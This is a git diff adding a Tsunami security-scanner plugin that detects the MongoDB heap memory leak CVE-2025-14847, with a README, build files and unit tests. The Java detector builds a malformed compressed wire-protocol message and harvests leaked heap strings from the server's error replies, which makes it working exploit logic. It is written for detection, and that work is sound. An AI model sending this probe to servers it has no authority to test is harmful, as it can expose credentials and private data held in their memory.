diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/README.md b/doyensec/detectors/mongobleed_cve_2025_14847/README.md new file mode 100644 index 000000000..da2d843da --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/README.md @@ -0,0 +1,20 @@ +# MongoBleed CVE-2025-14847 Detector + +This plugin for Tsunami detects a vulnerability which enables uninitialized heap memory read by an unauthenticated client in MongoDB. + +This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0. + +More information on the vulnerability: + +- [CVE-2025-14847](https://nvd.nist.gov/vuln/detail/CVE-2025-14847) +- [POC](https://github.com/joe-desimone/mongobleed/blob/main/README.md) + +## Build jar file for this plugin + +Using `gradle`: + +```shell +gradle jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/build.gradle b/doyensec/detectors/mongobleed_cve_2025_14847/build.gradle new file mode 100644 index 000000000..856279609 --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/build.gradle @@ -0,0 +1,39 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami detector for CVE-2025-14847.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + + + +def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" +def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" + +dependencies { + implementation("com.google.tsunami:tsunami-common") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-plugin") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-proto") { + version { branch = "${coreRepoBranch}" } + } + + testImplementation "junit:junit:4.13.2" + testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" + testImplementation "org.mockito:mockito-core:5.18.0" + testImplementation "com.google.truth:truth:1.4.4" + testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" + testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" +} diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/settings.gradle b/doyensec/detectors/mongobleed_cve_2025_14847/settings.gradle new file mode 100644 index 000000000..95d470e09 --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/settings.gradle @@ -0,0 +1,12 @@ +rootProject.name = 'cve202514847' + +def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" +def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" + +sourceControl { + gitRepository("${coreRepository}") { + producesModule("com.google.tsunami:tsunami-common") + producesModule("com.google.tsunami:tsunami-plugin") + producesModule("com.google.tsunami:tsunami-proto") + } +} diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847Detector.java b/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847Detector.java new file mode 100644 index 000000000..67f0c75bd --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847Detector.java @@ -0,0 +1,313 @@ +/* + * Copyright 2026 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202514847; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.net.HostAndPort; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; +import java.nio.charset.StandardCharsets; +import java.time.Clock; +import java.time.Instant; +import java.util.Set; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.zip.Deflater; +import java.util.zip.Inflater; +import javax.inject.Inject; +import javax.net.SocketFactory; + +/** Detects MongoDB unauthenticated memory leak (CVE-2025-14847). */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE-2025-14847 Detector", + version = "0.1", + description = "MongoDB out-of-bounds read of heap memory", + author = "Alessandro Versari (alessandro.versari@doyensec.com)", + bootstrapModule = Cve202514847DetectorBootstrapModule.class) +public final class Cve202514847Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final Set EXCLUDED_FIELDS = Set.of("?", "a", "$db", "ping"); + + private final Clock utcClock; + private final SocketFactory socketFactory; + + @Inject + Cve202514847Detector( + @UtcClock Clock utcClock, @SocketFactoryInstance SocketFactory socketFactory) { + this.utcClock = checkNotNull(utcClock); + this.socketFactory = checkNotNull(socketFactory); + } + + private static class ProbingDetails { + String response = ""; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + ProbingDetails probingDetails = new ProbingDetails(); + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isTransportProtocolTcp) + .filter(this::isMongoDbService) + .filter(service -> isServiceVulnerable(service, probingDetails)) + .map(service -> buildDetectionReport(targetInfo, service, probingDetails)) + .collect(toImmutableList())) + .build(); + } + + // Checks if the service is running over TCP. + private boolean isTransportProtocolTcp(NetworkService service) { + return TransportProtocol.TCP.equals(service.getTransportProtocol()); + } + + // Verifies if the service name indicates a MongoDB instance. + private boolean isMongoDbService(NetworkService service) { + return "mongod".equals(service.getServiceName()) || "mongodb".equals(service.getServiceName()); + } + + // Returns true if the service is vulnerable to the detector's CVE + private boolean isServiceVulnerable(NetworkService service, ProbingDetails probingDetails) { + HostAndPort hp = NetworkEndpointUtils.toHostAndPort(service.getNetworkEndpoint()); + + try (Socket socket = socketFactory.createSocket(hp.getHost(), hp.getPort())) { + socket.setSoTimeout(2000); + + OutputStream out = socket.getOutputStream(); + InputStream in = socket.getInputStream(); + + for (int docLen = 20; docLen < 512; docLen++) { + byte[] probe = buildProbe(docLen, docLen + 500); + out.write(probe); + out.flush(); + + byte[] response = readMongoResponse(in); + if (response.length == 0) { + continue; + } + + byte[] leaked = extractLeaks(response); + if (leaked.length > 0) { + probingDetails.response = new String(leaked, StandardCharsets.UTF_8); + return true; + } + } + return false; + + } catch (Exception e) { + logger.atWarning().withCause(e).log("Unable to communicate with %s.", hp); + return false; + } + } + + // Constructs a malformed OP_COMPRESSED message with mismatched length fields to trigger the leak. + private byte[] buildProbe(int docLen, int bufferSize) throws Exception { + byte[] content = new byte[] {0x10, 'a', 0x00, 0x01, 0x00, 0x00, 0x00}; + + ByteBuffer bson = ByteBuffer.allocate(4 + content.length); + bson.order(ByteOrder.LITTLE_ENDIAN); + bson.putInt(docLen); + bson.put(content); + + ByteBuffer opMsg = ByteBuffer.allocate(4 + 1 + bson.position()); + opMsg.order(ByteOrder.LITTLE_ENDIAN); + opMsg.putInt(0); + opMsg.put((byte) 0); + opMsg.put(bson.array()); + + byte[] compressed = zlibCompress(opMsg.array()); + + ByteBuffer payload = + ByteBuffer.allocate(4 + 4 + 1 + compressed.length).order(ByteOrder.LITTLE_ENDIAN); + payload.putInt(2013); + payload.putInt(bufferSize); + payload.put((byte) 2); + payload.put(compressed); + + ByteBuffer header = ByteBuffer.allocate(16).order(ByteOrder.LITTLE_ENDIAN); + header.putInt(16 + payload.position()); + header.putInt(1); + header.putInt(0); + header.putInt(2012); + + ByteArrayOutputStream out = new ByteArrayOutputStream(); + out.write(header.array()); + out.write(payload.array()); + return out.toByteArray(); + } + + // Reads a full MongoDB wire protocol response from the input stream based on the header length. + private byte[] readMongoResponse(InputStream in) throws Exception { + ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + byte[] tmp = new byte[4096]; + + int read; + while ((read = in.read(tmp)) > 0) { + buffer.write(tmp, 0, read); + if (buffer.size() >= 4) { + int msgLen = + ByteBuffer.wrap(buffer.toByteArray(), 0, 4).order(ByteOrder.LITTLE_ENDIAN).getInt(); + if (buffer.size() >= msgLen) { + break; + } + } + } + return buffer.toByteArray(); + } + + // Parses the response to identify and extract data that appears to be leaked heap memory. + private byte[] extractLeaks(byte[] response) { + if (response.length < 25) { + return new byte[0]; + } + + try { + ByteBuffer hdr = ByteBuffer.wrap(response).order(ByteOrder.LITTLE_ENDIAN); + int msgLen = hdr.getInt(0); + int opcode = hdr.getInt(12); + + byte[] raw; + if (opcode == 2012) { + raw = zlibDecompress(response, 25, msgLen - 25); + } else { + raw = new byte[msgLen - 16]; + System.arraycopy(response, 16, raw, 0, raw.length); + } + + String content = new String(raw, StandardCharsets.UTF_8); + ByteArrayOutputStream leaks = new ByteArrayOutputStream(); + + // Pass 1: Field names + Matcher m1 = Pattern.compile("field name '([^']*)'").matcher(content); + while (m1.find()) { + String val = m1.group(1); + if (!val.isEmpty() && !EXCLUDED_FIELDS.contains(val)) { + leaks.write(val.getBytes()); + } + } + + // Pass 2: Type bytes + Matcher m2 = Pattern.compile("type (\\d+)").matcher(content); + while (m2.find()) { + String val = m2.group(1); + if (!val.isEmpty() && !EXCLUDED_FIELDS.contains(val)) { + leaks.write(val.getBytes()); + } + } + + return leaks.toByteArray(); + } catch (Exception e) { + return new byte[0]; + } + } + + // Compresses the provided byte array using the zlib (DEFLATE) algorithm + private byte[] zlibCompress(byte[] input) throws Exception { + Deflater deflater = new Deflater(); + deflater.setInput(input); + deflater.finish(); + + ByteArrayOutputStream out = new ByteArrayOutputStream(); + byte[] buf = new byte[1024]; + while (!deflater.finished()) { + int len = deflater.deflate(buf); + out.write(buf, 0, len); + } + return out.toByteArray(); + } + + // Compresses the provided byte array using the zlib (DEFLATE) algorithm. + private byte[] zlibDecompress(byte[] data, int off, int len) throws Exception { + Inflater inflater = new Inflater(); + inflater.setInput(data, off, len); + + ByteArrayOutputStream out = new ByteArrayOutputStream(); + byte[] buf = new byte[1024]; + while (!inflater.finished()) { + int n = inflater.inflate(buf); + if (n == 0) { + break; + } + out.write(buf, 0, n); + } + return out.toByteArray(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2025_14847")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2025-14847")) + .setSeverity(Severity.HIGH) + .setTitle("MongoDB Memory Leak (MongoBleed) - CVE-2025-14847") + .setDescription( + "Mismatched length fields in Zlib compressed protocol headers may allow a read of " + + "uninitialized heap memory by an unauthenticated client.") + .setRecommendation("Update MongoDB to a patched version.") + .build()); + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService service, ProbingDetails probingDetails) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + getAdvisories().get(0).toBuilder() + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setDescription("Response (first 100 bytes)") + .setTextData(TextData.newBuilder().setText(probingDetails.response)) + .build()) + .build()) + .build(); + } +} diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847DetectorBootstrapModule.java b/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847DetectorBootstrapModule.java new file mode 100644 index 000000000..eba8ea53e --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847DetectorBootstrapModule.java @@ -0,0 +1,33 @@ +/* + * Copyright 2026 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202514847; + +import com.google.tsunami.plugin.PluginBootstrapModule; +import javax.net.SocketFactory; + +/** A Tsunami {@link PluginBootstrapModule} for the CVE-2025-14847 detector. */ +public final class Cve202514847DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve202514847Detector.class); + // Bind the SocketFactory to the default implementation + bind(SocketFactory.class) + .annotatedWith(SocketFactoryInstance.class) + .toInstance(SocketFactory.getDefault()); + } +} diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/SocketFactoryInstance.java b/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/SocketFactoryInstance.java new file mode 100644 index 000000000..5dd82a7d2 --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202514847/SocketFactoryInstance.java @@ -0,0 +1,26 @@ +/* + * Copyright 2026 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202514847; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import javax.inject.Qualifier; + +/** Qualifier for the {@link javax.net.SocketFactory} used by this plugin. */ +@Qualifier +@Retention(RetentionPolicy.RUNTIME) +public @interface SocketFactoryInstance {} diff --git a/doyensec/detectors/mongobleed_cve_2025_14847/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847DetectorTest.java b/doyensec/detectors/mongobleed_cve_2025_14847/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847DetectorTest.java new file mode 100644 index 000000000..a8bed9a09 --- /dev/null +++ b/doyensec/detectors/mongobleed_cve_2025_14847/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202514847/Cve202514847DetectorTest.java @@ -0,0 +1,202 @@ +/* + * Copyright 2026 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202514847; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forIpAndPort; +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import com.google.common.collect.ImmutableList; +import com.google.inject.AbstractModule; +import com.google.inject.Guice; +import com.google.inject.Key; +import com.google.inject.multibindings.OptionalBinder; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.TransportProtocol; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.time.Instant; +import javax.inject.Inject; +import javax.net.SocketFactory; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +/** Unit tests for {@link Cve202514847Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202514847DetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2025-01-01T00:00:00.00Z")); + + private final SocketFactory socketFactoryMock = mock(SocketFactory.class); + + @Inject private Cve202514847Detector detector; + + @Before + public void setUp() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new AbstractModule() { + @Override + protected void configure() { + OptionalBinder.newOptionalBinder( + binder(), Key.get(SocketFactory.class, SocketFactoryInstance.class)) + .setBinding() + .toInstance(socketFactoryMock); + } + } + ).injectMembers(this); + } + + private void configureMockSocket(byte[] responseBytes) throws Exception { + Socket socket = mock(Socket.class); + when(socketFactoryMock.createSocket(anyString(), anyInt())).thenReturn(socket); + when(socket.getOutputStream()).thenReturn(new ByteArrayOutputStream()); + when(socket.getInputStream()).thenReturn(new ByteArrayInputStream(responseBytes)); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws Exception { + // A mock MongoDB response that mimics an OP_MSG (opcode 2013) + // containing the string "field name 'secret_leaked_data'" + // The detector's extractLeaks method looks for "field name '([^']*)'" + String leakedContent = "Error: field name 'secret_leaked_data' is invalid"; + + // Prefix with some bytes to satisfy msgLen > 25 requirement in detector + byte[] mockResponse = new byte[100]; + // Set Message Length (first 4 bytes) + mockResponse[0] = 100; + // Set OpCode to something other than 2012 (compressed) to trigger raw copy + mockResponse[12] = (byte) 0xDD; + + System.arraycopy(leakedContent.getBytes(UTF_8), 0, mockResponse, 20, leakedContent.length()); + + configureMockSocket(mockResponse); + + NetworkService mongodb = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 27017)) + .setServiceName("mongod") + .setTransportProtocol(TransportProtocol.TCP) + .build(); + + DetectionReportList detectionReports = + detector.detect(TargetInfo.getDefaultInstance(), ImmutableList.of(mongodb)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(TargetInfo.getDefaultInstance()) + .setNetworkService(mongodb) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + detector.getAdvisories().get(0).toBuilder() + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setDescription("Response (first 100 bytes)") + .setTextData(TextData.newBuilder().setText("secret_leaked_data")) + .build()) + .build()) + .build()); + } + + @Test + public void detect_whenNotVulnerable_returnsEmpty() throws Exception { + // Response that doesn't contain the "field name '...'" pattern + byte[] safeResponse = new byte[50]; + safeResponse[0] = 50; + System.arraycopy("Standard MongoDB Response".getBytes(UTF_8), 0, safeResponse, 20, 25); + + configureMockSocket(safeResponse); + + NetworkService mongodb = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 27017)) + .setServiceName("mongod") + .setTransportProtocol(TransportProtocol.TCP) + .build(); + + DetectionReportList detectionReports = + detector.detect(TargetInfo.getDefaultInstance(), ImmutableList.of(mongodb)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_whenNotTcp_noVulnerability() throws Exception { + NetworkService mongodbUdp = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 27017)) + .setServiceName("mongod") + .setTransportProtocol(TransportProtocol.UDP) + .build(); + + DetectionReportList detectionReports = + detector.detect(TargetInfo.getDefaultInstance(), ImmutableList.of(mongodbUdp)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + static class SocketTimeoutExceptionAnswer implements Answer { + @Override + public T answer(InvocationOnMock invocation) throws Throwable { + throw new SocketTimeoutException(); + } + } + + @Test + public void detect_whenTimeout_noVulnerability() throws Exception { + Socket socket = mock(Socket.class); + when(socketFactoryMock.createSocket(anyString(), anyInt())).thenReturn(socket); + when(socket.getOutputStream()).thenReturn(new ByteArrayOutputStream()); + InputStream inputStream = mock(InputStream.class, new SocketTimeoutExceptionAnswer<>()); + when(socket.getInputStream()).thenReturn(inputStream); + + NetworkService mongodb = + NetworkService.newBuilder() + .setNetworkEndpoint(forIpAndPort("127.0.0.1", 27017)) + .setServiceName("mongod") + .setTransportProtocol(TransportProtocol.TCP) + .build(); + + DetectionReportList detectionReports = + detector.detect(TargetInfo.getDefaultInstance(), ImmutableList.of(mongodb)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } +}